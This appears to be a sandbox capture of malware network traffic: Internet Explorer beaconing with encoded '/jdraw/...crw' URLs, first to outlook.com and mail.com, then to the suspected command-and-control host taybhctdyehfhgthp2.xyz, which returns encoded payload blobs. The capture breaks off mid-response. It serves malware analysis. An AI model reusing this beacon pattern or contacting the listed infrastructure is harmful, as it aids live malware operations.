Jul 6, 2021 14:30:29.907217026 CEST	2631	OUT	GET /jdraw/yH91aKnpTrUgeTTXk_2FC/UNtUKwQdb1VcS_2B/GaoM_2Fyx_2BE1f/CKkjJtxjumUCxy08c3/hEyqk7y0R/Lv9aFeVgtQQx8QD9pW5d/Ac07adghbVZgEftTXAe/6L6pB6BmU2Y7k8ESiCzmDb/Z4dkw_2BAKquP/hA_2BwCK/3iTjiCeJZZSpLKXArjcyss9/OwKlQvPM9fHtt6/WpI0i7.crw HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: outlook.com Connection: Keep-Alive
Jul 6, 2021 14:30:30.088573933 CEST	2632	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://outlook.com/jdraw/yH91aKnpTrUgeTTXk_2FC/UNtUKwQdb1VcS_2B/GaoM_2Fyx_2BE1f/CKkjJtxjumUCxy08c3/hEyqk7y0R/Lv9aFeVgtQQx8QD9pW5d/Ac07adghbVZgEftTXAe/6L6pB6BmU2Y7k8ESiCzmDb/Z4dkw_2BAKquP/hA_2BwCK/3iTjiCeJZZSpLKXArjcyss9/OwKlQvPM9fHtt6/WpI0i7.crw Server: Microsoft-IIS/10.0 request-id: d1e984f7-9ace-3ae1-5707-463b58c3d5e6 X-FEServer: MWHPR13CA0022 X-RequestId: 190a833d-54cf-4aa5-8574-074484870c4a X-Powered-By: ASP.NET X-FEServer: MWHPR13CA0022 Date: Tue, 06 Jul 2021 12:30:29 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49743	82.165.229.87	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 14:30:54.287519932 CEST	2934	OUT	GET /jdraw/GTAeWl1dTEKsPGzboniA9C/3TQSND4hN4q8j/tJxnEgfP/uW5VGwHzywLraum6aAQWdJy/1RqIzWDCCX/qrcTQot2XuPIeam7w/8XDXQ5cif7RJ/1_2B3PVmQx5/nHKK8uT65nNyIl/JeFpPVHIxWMVXvseH_2FD/YH70V7tTLImM6Joz/2I1VGAIxwkkbz7Z/4EmL4AYi/6QglyA.crw HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: mail.com Connection: Keep-Alive
Jul 6, 2021 14:30:54.334537983 CEST	2935	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 06 Jul 2021 12:30:54 GMT Server: Apache Location: https://mail.com/jdraw/GTAeWl1dTEKsPGzboniA9C/3TQSND4hN4q8j/tJxnEgfP/uW5VGwHzywLraum6aAQWdJy/1RqIzWDCCX/qrcTQot2XuPIeam7w/8XDXQ5cif7RJ/1_2B3PVmQx5/nHKK8uT65nNyIl/JeFpPVHIxWMVXvseH_2FD/YH70V7tTLImM6Joz/2I1VGAIxwkkbz7Z/4EmL4AYi/6QglyA.crw Content-Length: 444 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 69 6c 2e 63 6f 6d 2f 6a 64 72 61 77 2f 47 54 41 65 57 6c 31 64 54 45 4b 73 50 47 7a 62 6f 6e 69 41 39 43 2f 33 54 51 53 4e 44 34 68 4e 34 71 38 6a 2f 74 4a 78 6e 45 67 66 50 2f 75 57 35 56 47 77 48 7a 79 77 4c 72 61 75 6d 36 61 41 51 57 64 4a 79 2f 31 52 71 49 7a 57 44 43 43 58 2f 71 72 63 54 51 6f 74 32 58 75 50 49 65 61 6d 37 77 2f 38 58 44 58 51 35 63 69 66 37 52 4a 2f 31 5f 32 42 33 50 56 6d 51 78 35 2f 6e 48 4b 4b 38 75 54 36 35 6e 4e 79 49 6c 2f 4a 65 46 70 50 56 48 49 78 57 4d 56 58 76 73 65 48 5f 32 46 44 2f 59 48 37 30 56 37 74 54 4c 49 6d 4d 36 4a 6f 7a 2f 32 49 31 56 47 41 49 78 77 6b 6b 62 7a 37 5a 2f 34 45 6d 4c 34 41 59 69 2f 36 51 67 6c 79 41 2e 63 72 77 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://mail.com/jdraw/GTAeWl1dTEKsPGzboniA9C/3TQSND4hN4q8j/tJxnEgfP/uW5VGwHzywLraum6aAQWdJy/1RqIzWDCCX/qrcTQot2XuPIeam7w/8XDXQ5cif7RJ/1_2B3PVmQx5/nHKK8uT65nNyIl/JeFpPVHIxWMVXvseH_2FD/YH70V7tTLImM6Joz/2I1VGAIxwkkbz7Z/4EmL4AYi/6QglyA.crw">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49803	45.90.58.179	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 14:31:18.248924971 CEST	4608	OUT	GET /jdraw/_2Faxv8_2Bu0S355431/zWBmIqRqQnvMB_2FKOk6CG/NwnPAjKDdicU7/LyyqKz0o/YfBYTeGYFQwkbZMyJ8naD46/LAJf_2B0RU/3xv7VkvLo_2BH32z2/0GV2mzuC7wB9/KQWi8z52zYq/laCh5k_2F_2FsN/gFzjneWKury1hVqDQnliR/azK5qDi4jLH99wYz/G9Hdx13SInuD3gF/73zT6HN_2B6msVs0lU/EuYlN_2BC7WR/i.crw HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: taybhctdyehfhgthp2.xyz Connection: Keep-Alive
Jul 6, 2021 14:31:18.303908110 CEST	4609	IN	HTTP/1.1 200 OK Date: Tue, 06 Jul 2021 12:31:18 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Set-Cookie: PHPSESSID=t8ig2lm7e99tl9ioed8m825st0; path=/; domain=.taybhctdyehfhgthp2.xyz Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: lang=en; expires=Thu, 05-Aug-2021 12:31:18 GMT; path=/; domain=.taybhctdyehfhgthp2.xyz Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 33 61 35 63 30 0d 0a 54 37 50 43 46 2b 46 31 4a 55 4b 41 54 62 62 73 6b 6e 55 32 76 58 53 4c 57 30 70 45 54 4a 56 69 7a 51 2b 44 68 35 45 4d 66 73 37 78 45 66 79 46 33 4b 48 51 69 53 71 48 7a 55 68 43 2b 65 4f 65 34 78 4f 6d 6b 74 78 46 38 68 6b 49 4e 50 41 79 47 77 74 4c 75 78 6a 7a 51 55 58 30 64 4f 6c 78 52 68 6c 32 49 79 4d 71 6a 6c 52 6b 53 79 56 4f 65 72 75 63 56 6c 49 33 75 36 35 62 70 6a 30 4f 6d 52 76 43 57 47 38 4a 71 2b 4c 33 74 4a 74 4f 76 31 74 42 74 47 5a 58 5a 42 6c 75 79 32 70 34 54 56 54 57 67 70 50 7a 4f 51 77 76 6d 30 72 68 56 73 4f 48 62 78 44 4b 4c 7a 6b 59 36 4d 50 32 52 32 47 70 50 39 78 71 42 52 46 34 67 7a 30 48 74 53 4d 58 6a 77 44 4e 77 71 46 63 49 32 34 46 62 2b 31 2b 64 73 65 35 69 4c 44 66 51 79 42 35 71 37 33 61 6d 39 61 52 67 36 74 75 43 71 65 53 47 50 4e 64 75 30 44 6f 72 43 2b 65 36 35 37 42 6b 32 69 57 66 4b 4e 72 45 4a 47 34 33 76 4a 4e 2b 68 45 30 6f 4c 37 69 76 34 31 4c 50 36 37 33 61 4b 41 35 6c 33 62 49 48 6f 46 77 4c 30 4f 78 37 6a 69 48 37 5a 36 52 4e 61 37 42 2b 38 42 66 6d 34 51 42 66 4e 31 68 30 55 35 75 47 73 65 68 71 78 7a 56 48 33 46 65 44 77 4f 6b 42 7a 75 43 39 6a 62 4a 7a 77 4c 4b 38 61 2b 6a 49 67 51 53 4a 52 6d 4d 54 43 72 32 33 79 67 67 46 4d 42 75 6b 39 34 32 4c 57 52 45 46 4a 79 58 57 32 52 65 47 61 38 61 63 75 79 7a 54 36 55 57 5a 35 68 4f 58 6e 79 58 54 43 46 61 39 48 76 4c 71 72 56 36 41 74 56 6c 78 62 34 46 37 34 49 51 63 79 50 6f 36 4d 4a 2f 58 6c 74 57 52 6e 44 66 55 61 4d 62 6f 4e 6d 51 58 41 70 4c 56 39 49 4a 66 4a 74 36 50 55 37 7a 66 78 59 37 48 46 4d 4c 68 59 49 62 7a 61 61 43 75 63 71 58 57 33 61 77 6b 30 4e 44 31 54 30 6e 36 4e 36 59 35 57 44 44 6f 69 4e 7a 4b 64 51 4a 4b 69 6e 48 2f 4b 73 4b 32 71 2f 30 2b 34 69 53 42 31 53 33 63 50 35 4a 77 31 54 48 77 4f 45 37 74 6b 77 54 71 71 2f 6b 4e 33 65 63 37 64 6d 38 75 47 30 70 4c 64 2b 63 69 4d 6d 42 68 44 41 31 4c 78 69 6c 53 72 6a 36 6d 64 6f 45 70 6f 55 7a 68 51 30 63 49 6b 69 59 7a 6e 4c 49 4f 41 75 4b 4c 4a 76 43 78 39 4b 32 6c 2f 70 58 35 76 68 52 47 45 49 34 57 69 4b 6d 73 33 34 4e 76 78 44 77 31 42 72 70 70 65 48 66 71 36 6d 35 62 5a 4a 2b 6a 47 6e 57 51 33 56 54 43 39 68 70 2b 7a 62 30 6b 50 51 41 4a 38 61 6f 6d 73 4b 35 45 4d 4b 41 6a 38 75 65 45 4f 70 66 79 6e 54 53 6b 4c 68 61 52 43 6b 5a 31 48 65 2f 34 59 7a 4e 38 41 58 31 Data Ascii: 3a5c0T7PCF+F1JUKATbbsknU2vXSLW0pETJVizQ+Dh5EMfs7xEfyF3KHQiSqHzUhC+eOe4xOmktxF8hkINPAyGwtLuxjzQUX0dOlxRhl2IyMqjlRkSyVOerucVlI3u65bpj0OmRvCWG8Jq+L3tJtOv1tBtGZXZBluy2p4TVTWgpPzOQwvm0rhVsOHbxDKLzkY6MP2R2GpP9xqBRF4gz0HtSMXjwDNwqFcI24Fb+1+dse5iLDfQyB5q73am9aRg6tuCqeSGPNdu0DorC+e657Bk2iWfKNrEJG43vJN+hE0oL7iv41LP673aKA5l3bIHoFwL0Ox7jiH7Z6RNa7B+8Bfm4QBfN1h0U5uGsehqxzVH3FeDwOkBzuC9jbJzwLK8a+jIgQSJRmMTCr23yggFMBuk942LWREFJyXW2ReGa8acuyzT6UWZ5hOXnyXTCFa9HvLqrV6AtVlxb4F74IQcyPo6MJ/XltWRnDfUaMboNmQXApLV9IJfJt6PU7zfxY7HFMLhYIbzaaCucqXW3awk0ND1T0n6N6Y5WDDoiNzKdQJKinH/KsK2q/0+4iSB1S3cP5Jw1THwOE7tkwTqq/kN3ec7dm8uG0pLd+ciMmBhDA1LxilSrj6mdoEpoUzhQ0cIkiYznLIOAuKLJvCx9K2l/pX5vhRGEI4WiKms34NvxDw1BrppeHfq6m5bZJ+jGnWQ3VTC9hp+zb0kPQAJ8aomsK5EMKAj8ueEOpfynTSkLhaRCkZ1He/4YzN8AX1
Jul 6, 2021 14:31:18.303946972 CEST	4611	IN	Data Raw: 6b 50 45 73 4c 2b 71 47 41 69 41 6c 51 50 45 54 62 4c 65 72 36 48 61 2b 76 66 77 69 5a 50 34 41 58 55 33 77 49 42 45 62 78 48 72 67 6e 4e 2f 47 67 38 66 36 33 47 6d 33 38 42 66 52 68 50 77 59 39 6a 79 47 52 34 42 56 50 35 78 39 4a 66 43 32 35 6f Data Ascii: kPEsL+qGAiAlQPETbLer6Ha+vfwiZP4AXU3wIBEbxHrgnN/Gg8f63Gm38BfRhPwY9jyGR4BVP5x9JfC25oat/nW5N9hsZK4H3odqROuDY1SLvkBdWreTBxuU7rg4+ElAElRzRpH7cgRPr2JzG5yQU6U48Q1okD1LB3zkfFgtMF5ohCVpr8MT7Qu4QP8snPprFkRnteN1q4kSkhMQxN/P4DqRE/nTEqAHLHAl2+ELmI3QRBRGNjS
Jul 6, 2021 14:31:18.303968906 CEST	4612	IN	Data Raw: 6e 55 7a 2f 51 6c 35 30 4f 62 70 64 58 65 68 58 49 76 6b 77 37 63 57 6f 42 68 78 37 4b 50 57 73 41 57 5a 66 74 44 6e 75 53 78 4a 65 42 37 49 6e 50 2f 67 39 33 35 36 7a 6d 4d 66 63 6c 45 59 2b 34 44 6f 53 41 59 6e 43 30 49 77 39 6b 35 64 63 78 37 Data Ascii: nUz/Ql50ObpdXehXIvkw7cWoBhx7KPWsAWZftDnuSxJeB7InP/g9356zmMfclEY+4DoSAYnC0Iw9k5dcx7c4PmTiY1ajlq2t9vRwUcbxUz24xzpnXKZNRd03qO2uL7or7NV5zDgowTY7+RzqoUlgcuhEmXc7E9GPFMo3k7QUXblq9wSH9crtBlhlp8RPUsdPEYmuceXVu+esLPGh+nwaeoYa9F0RRuPS0PqjpmQwz5IOtrM01fp
Jul 6, 2021 14:31:18.303994894 CEST	4613	IN	Data Raw: 30 30 50 72 68 67 47 50 32 57 74 79 55 6f 35 71 30 68 38 37 59 4d 75 44 52 6c 54 6f 45 6c 57 6c 2f 34 42 74 7a 74 59 32 4f 4d 4e 50 56 51 39 59 39 55 7a 63 65 61 4b 30 33 48 6c 6f 44 38 36 66 4e 4e 4a 41 36 64 58 39 45 72 57 56 63 30 74 67 64 44 Data Ascii: 00PrhgGP2WtyUo5q0h87YMuDRlToElWl/4BtztY2OMNPVQ9Y9UzceaK03HloD86fNNJA6dX9ErWVc0tgdD9H5e0NDtk9Hxav/iooOe084j8V2M1b5u5ziCvuLQIenima5KeM/qWW5SGBMycp5BU00VAdZREIhLQChw5t7soWh/U64gRyMyqdg6v7D1m1kV9RiREf9CgFVnhp9Lyj/7rPLu/YOAK9OBeX+TCmthj9THQDbm6AEHX
Jul 6, 2021 14:31:18.304018974 CEST	4615	IN	Data Raw: 6a 68 63 64 39 45 64 46 63 4d 50 78 44 42 36 30 75 6b 4d 68 69 74 51 6f 64 69 39 43 48 41 37 55 5a 67 78 6f 56 70 7a 62 32 47 42 61 49 66 53 35 79 39 75 31 43 59 68 64 4a 77 5a 55 6a 4e 4b 63 57 58 48 5a 48 4d 5a 72 50 57 70 56 49 46 6f 6d 64 33 Data Ascii: jhcd9EdFcMPxDB60ukMhitQodi9CHA7UZgxoVpzb2GBaIfS5y9u1CYhdJwZUjNKcWXHZHMZrPWpVIFomd38Oi0wetqxKM2Z1qSTtYsrlyatosY7r+tJQuGvdxwvbZv9pIG2sQjh2GKXjb999JTA4iHSlrgfDioUR0KW7OEhUNRJm/OCtUdFDnipY2Aaprwpl9+7ZW15tXcEyFbRsdg0TcVlzz5EJedHsxXCxKws+u7BoClFh+YN
Jul 6, 2021 14:31:18.304959059 CEST	4616	IN	Data Raw: 69 77 4e 73 6f 75 6e 70 35 47 44 62 53 53 37 39 34 43 41 65 79 6c 54 61 48 34 72 41 34 4d 43 66 79 4b 6f 77 36 42 67 75 6a 6e 4a 79 44 45 30 34 34 4c 4d 57 65 6c 42 48 66 58 53 6e 4f 74 49 44 65 7a 74 4e 32 33 48 79 42 6c 50 37 59 44 31 6a 75 51 Data Ascii: iwNsounp5GDbSS794CAeylTaH4rA4MCfyKow6BgujnJyDE044LMWelBHfXSnOtIDeztN23HyBlP7YD1juQsfsP/wjfo0ggmq/KG9eMUr+SCd5o6CtiDa4jN8Am/q1grE1REReIgVRQWGcwG1kH+cQ8pNmjJMy/ndzZAcLvFADKTEvZpkBv/HF0xVkIxB/cnRrT1QZKc8CBJP/bsKuedwuC6FlTFr2Gv4AsLjS0GaQWxZTKYhAcd
Jul 6, 2021 14:31:18.304991961 CEST	4618	IN	Data Raw: 7a 48 6b 48 46 4e 73 5a 34 33 77 36 6d 52 74 50 55 44 53 6d 56 48 68 37 4d 4e 33 5a 73 6e 33 42 42 70 33 4f 4e 6d 5a 55 52 72 4a 4f 78 45 32 52 4f 41 33 4e 69 43 54 50 6e 43 39 67 6c 39 62 69 45 52 48 4a 51 74 43 69 72 55 6b 33 50 32 5a 41 65 66 Data Ascii: zHkHFNsZ43w6mRtPUDSmVHh7MN3Zsn3BBp3ONmZURrJOxE2ROA3NiCTPnC9gl9biERHJQtCirUk3P2ZAefqi6M2X+JX0x1iACbEZG0Qloh5sQ6jLmiNixu7kqoTdnWgrSujeAmUqISZz1AclAn4TSSjjiQsjhKPgcl/PRSUTwhEEZPXBXRuIjYgu6du2ic4cXgHk9YMe+cUFSwrD/+87DXf5YFDb0FzhESkQUzM40FEER/nLBcw
Jul 6, 2021 14:31:18.305011988 CEST	4619	IN	Data Raw: 68 78 5a 68 53 68 31 72 78 2b 51 4b 30 4b 45 38 39 30 43 63 46 70 6f 41 76 38 37 71 58 74 4b 49 42 63 67 66 53 62 78 70 4f 6d 56 72 54 41 34 62 75 55 42 31 76 72 76 38 53 44 5a 6c 30 63 75 4a 48 42 35 43 41 50 4f 33 42 78 66 4c 4a 46 72 6e 6b 36 Data Ascii: hxZhSh1rx+QK0KE890CcFpoAv87qXtKIBcgfSbxpOmVrTA4buUB1vrv8SDZl0cuJHB5CAPO3BxfLJFrnk60cl6YuYwdPX8vSHDobtR8uQlLVsTAy9P5o2Hs0c4mWLUTwyCjm/nDltzkM9y342ESrGOgjti//Ew/VzPv30n0xH13p0p63v/RyiUCUS56laZcVrihz2/iLeZ8K67LdKUadvkZBVoUtkMeBxoqDhv6sVy/ukK2tJ5M
Jul 6, 2021 14:31:18.305035114 CEST	4620	IN	Data Raw: 49 34 5a 4f 69 78 4f 58 78 42 38 52 77 67 63 2f 7a 68 4d 4f 31 61 4a 36 33 71 55 56 7a 73 5a 38 78 73 4b 65 4b 4d 47 6c 4d 48 63 54 53 6b 68 4d 47 59 75 57 4e 6a 2b 74 6f 6d 31 38 50 6e 42 39 56 78 58 63 4d 6c 54 59 6d 7a 4f 45 6e 2f 69 72 44 59 Data Ascii: I4ZOixOXxB8Rwgc/zhMO1aJ63qUVzsZ8xsKeKMGlMHcTSkhMGYuWNj+tom18PnB9VxXcMlTYmzOEn/irDYHalw8nDX3U6903Guakmp7IKgz8eDzgwpQph4MZEIzwwCcNaRxtOu8+RN9ZwIDAETY8r9neehoiUXofseuvUlZXAWHuZW6OlXB57CoYxEEsusGVzJkLjL4pIKT6E6o8A6Muv0ieu1z8Lvid0l2kWyVBpQkWVa3s5md
Jul 6, 2021 14:31:18.305058956 CEST	4622	IN	Data Raw: 31 57 53 68 7a 75 44 50 37 55 63 5a 49 56 71 76 4a 57 39 6f 4a 37 79 41 2b 4d 4d 75 30 54 76 56 38 4c 6f 51 30 42 34 56 47 66 5a 31 4d 49 63 54 49 76 6a 61 61 4f 44 68 4d 50 34 35 32 4c 71 61 6a 4b 53 39 6a 61 78 53 35 32 5a 68 49 61 48 33 36 54 Data Ascii: 1WShzuDP7UcZIVqvJW9oJ7yA+MMu0TvV8LoQ0B4VGfZ1MIcTIvjaaODhMP452LqajKS9jaxS52ZhIaH36TbUl9N28p22EBmhasIcKfJj0XKtf+gAiYQJeGpQ6gOdfjAe6agghQtjTp9u1YsMfb57VHAxS0DI/U5+9hg+2pU6iD++AsPRQnRvxHuwuudA1BrGhbSYKUBAbYz5nh4V/OrjqipKEtSxBld0PUhLaV+yCkstEoyH72H
Jul 6, 2021 14:31:18.342456102 CEST	4623	IN	Data Raw: 59 72 50 39 6c 71 43 77 65 49 5a 48 4e 31 77 70 78 4e 56 65 65 5a 6b 71 41 52 6b 34 6a 72 31 6d 32 4a 39 6f 33 6e 68 33 6d 50 34 77 55 55 42 75 62 6b 55 67 48 71 36 62 6c 62 6d 4d 75 6d 42 65 4a 59 50 43 35 47 2f 31 35 38 36 2b 6b 78 4a 76 58 6b Data Ascii: YrP9lqCweIZHN1wpxNVeeZkqARk4jr1m2J9o3nh3mP4wUUBubkUgHq6blbmMumBeJYPC5G/1586+kxJvXkTGd8vaYw9ts6VtcGSiWpyelHc+Y9g6C/t5r8tw8lOQ65LXuxgoOPlTmg9WR4dlZzOJ/78RquRKS7bPMFf7E1Jtw1qnuBuiiqvQqWABFPi0K0Ss4mSmanuzlzn6NGqfHc5Wbg8VmeCTUNIx58PthVZGn/MTHjT3H7T
Jul 6, 2021 14:31:18.822935104 CEST	4860	OUT	GET /favicon.ico HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: taybhctdyehfhgthp2.xyz Connection: Keep-Alive Cookie: PHPSESSID=t8ig2lm7e99tl9ioed8m825st0; lang=en
Jul 6, 2021 14:31:18.860249996 CEST	4861	IN	HTTP/1.1 200 OK Date: Tue, 06 Jul 2021 12:31:18 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Last-Modified: Tue, 15 Jun 2021 10:54:44 GMT ETag: "1536-5c4cbcd3c238b" Accept-Ranges: bytes Content-Length: 5430 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: image/vnd.microsoft.icon Data Raw: 00 00 01 00 02 00 10 10 00 00 00 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 00 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 87 73 f7 9c 87 73 f9 9c 87 73 f7 9c 87 73 77 9c 87 72 03 ff ff ff 01 9c 87 73 09 9c 87 73 0f 9c 87 73 0d 9b 87 73 05 ff ff ff 01 9c 87 73 15 9c 87 73 c7 9c 87 73 f9 9c 87 73 f9 9c 87 73 85 9c 87 73 f9 9c 87 72 f9 9c 87 73 7b 9c 87 73 05 9c 87 73 23 9c 87 73 7f 9c 87 73 c3 9b 87 72 d3 9c 87 73 cf 9c 87 73 ad 9c 87 73 5b 9c 87 73 0d 9c 87 73 1b 9c 87 73 c5 9b 87 73 ff 9c 87 73 85 9c 87 73 f7 9c 87 73 7d 9c 87 73 07 9c 87 73 57 9c 87 72 db 9c 87 73 ab 9c 87 73 6d 9c 87 73 4b 9c 87 73 43 9c 87 73 77 9c 87 73 cf 9c 87 73 b7 9b 86 73 25 9c 87 73 21 9c 87 73 cb 9c 87 73 87 9c 87 73 7f 9c 87 73 05 9c 87 73 55 9c 87 73 e1 9c 87 73 59 9c 87 73 81 9c 87 73 df 9c 87 73 c9 9b 86 72 23 ff ff ff 01 9c 87 73 13 9c 87 73 97 9c 87 73 cd 9c 87 73 19 9c 87 72 25 9c 87 73 5b 9c 87 73 03 9c 87 73 1d 9c 87 73 d9 9c 87 73 5d 9c 87 73 0b 9b 87 72 ef 9c 87 73 53 9b 87 73 bf 9c 87 73 71 ff ff ff 01 ff ff ff 01 9c 87 73 0b 9c 87 73 a5 9c 87 73 95 9c 87 73 03 9c 87 73 03 ff ff ff 01 9c 87 73 75 9c 87 73 b5 9c 87 73 07 ff ff ff 01 9c 87 73 c1 9c 87 73 db 9c 87 73 e7 9c 87 73 41 ff ff ff 01 ff ff ff 01 ff ff ff 01 9c 86 73 25 9b 87 73 d9 9c 87 73 23 ff ff ff 01 9c 87 72 07 9c 87 72 bb 9c 87 73 5d ff ff ff 01 ff ff ff 01 9c 87 73 1b 9c 87 73 db 9c 87 73 6b 9c 87 73 03 9c 87 73 03 ff ff ff 01 ff ff ff 01 9c 87 73 03 9c 87 73 af 9c 87 73 5d ff ff ff 01 9c 87 73 0d 9c 87 72 cd 9c 87 73 37 ff ff ff 01 ff ff ff 01 9c 86 73 09 9c 87 73 c9 9c 87 72 91 9c 86 72 a3 9c 87 73 81 9c 86 72 05 ff ff ff 01 ff ff ff 01 9b 87 73 85 9c 87 73 7f ff ff ff 01 9c 87 73 0d 9c 87 73 cb 9b 87 73 37 ff ff ff 01 ff ff ff 01 9c 87 73 09 9c 87 73 cd 9c 87 73 69 9c 87 73 3f 9c 87 73 37 9c 87 73 13 ff ff ff 01 ff ff ff 01 9b 87 73 83 9c 87 73 7f ff ff ff 01 9c 87 73 07 9c 87 73 b9 9c 87 72 57 ff ff ff 01 ff ff ff 01 9c 87 73 09 9c 87 73 c9 9c 87 73 97 9c 87 73 a9 9c 87 73 a9 9c 87 73 97 ff ff ff 01 ff ff ff 01 9c 87 73 ab 9c 87 73 5b ff ff ff 01 ff ff ff 01 9c 87 73 73 9c 87 73 ad 9c 87 73 05 ff ff ff 01 9c 87 73 09 9c 87 73 cd 9c 87 73 6d 9c 87 73 49 9c 87 73 3b 9c 87 73 07 ff ff ff 01 9c 87 73 21 9c 87 73 d3 9c 87 73 23 ff ff ff 01 9c 87 73 05 9c 87 73 1b 9b 87 73 d3 9c 87 73 51 ff ff ff 01 9b 86 73 09 9c 87 73 cb 9c 87 73 89 9b 87 72 83 9c 87 73 6d 9c 87 73 05 9c 87 72 07 9c 87 73 97 9b 87 72 91 9c 87 73 03 9c 87 73 05 9b 87 72 89 9c 87 73 07 9c 87 73 51 9c 87 73 d9 9c 87 72 4b 9c 87 73 07 9c 87 73 67 9c 86 73 27 ff ff ff 01 ff ff ff 01 9b 86 73 0d 9c 87 73 81 9c 87 73 c5 9c 87 73 17 9c 87 73 27 9c 87 73 5f 9c 87 73 f7 9c 87 73 85 9c 87 73 09 9b 87 72 51 9c 87 73 d3 9c 87 73 9d 9c 87 73 4b 9c 86 72 2f 9c 87 73 33 9c 87 73 61 9c 87 73 bd 9b 87 73 b1 9c 87 73 21 9c 87 73 23 9c 87 73 cd 9c 87 73 87 9c 87 73 f9 9c 86 73 f9 9c 87 73 83 9c 87 73 07 9c 87 73 1f 9c 87 73 79 9c 87 73 b9 9c 87 72 c5 9c 87 73 c3 9c 87 72 a7 9c 87 73 55 9c 87 72 0b 9c 87 73 1d 9c Data Ascii: h& ( @sssswrssssssssssrs{ss#ssrsss[sssssss}ssWrssmsKsCswsss%s!sssssUssYsssr#ssssr%s[ssss]srsSssqssssssussssssAs%ss#rrs]sssksssss]srs7ssrrsrsssss7sssis?s7sssssrWssssssss[sssssssmsIs;ss!ss#ssssQsssrsmsrsrssrssQsrKssgs'sssss's_sssrQsssKr/s3sasss!s#ssssssssysrsrsUrs

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49805	45.90.58.179	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 14:31:22.352667093 CEST	4868	OUT	GET /jdraw/tR4LnoSVINT1f2c/0VvJfJtFJ0fvpQScRR/CPWVnO7Ig/8xymBr8_2BV2MPJj4WbJ/plMEUslrrtyCH_2Bwhq/1CDE4hgwgyY_2Bfw3s_2F1/UxPXHIDsYEwNA/DWJu4vAO/gkXIRDv7pcl_2FYyiYW0p52/VZjd1pdZUq/nUDfT2o7A87Q2yEgN/bEZSgdLSHpEB/Y8DoqjUm9asX_2BdG/q.crw HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: taybhctdyehfhgthp2.xyz Connection: Keep-Alive Cookie: lang=en; PHPSESSID=t8ig2lm7e99tl9ioed8m825st0
Jul 6, 2021 14:31:22.409195900 CEST	4869	IN	HTTP/1.1 200 OK Date: Tue, 06 Jul 2021 12:31:22 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 61 33 31 34 0d 0a 67 72 57 41 4c 4a 30 41 6f 52 72 79 4d 68 4c 6b 62 34 2b 35 66 4b 46 31 42 54 33 44 6c 56 75 33 6a 75 7a 45 48 61 77 2f 5a 76 53 45 53 6d 51 76 58 51 38 6e 6b 70 30 59 39 52 6b 64 57 67 69 7a 31 69 4f 4b 31 44 38 4e 55 72 39 69 5a 64 73 64 46 72 38 31 4a 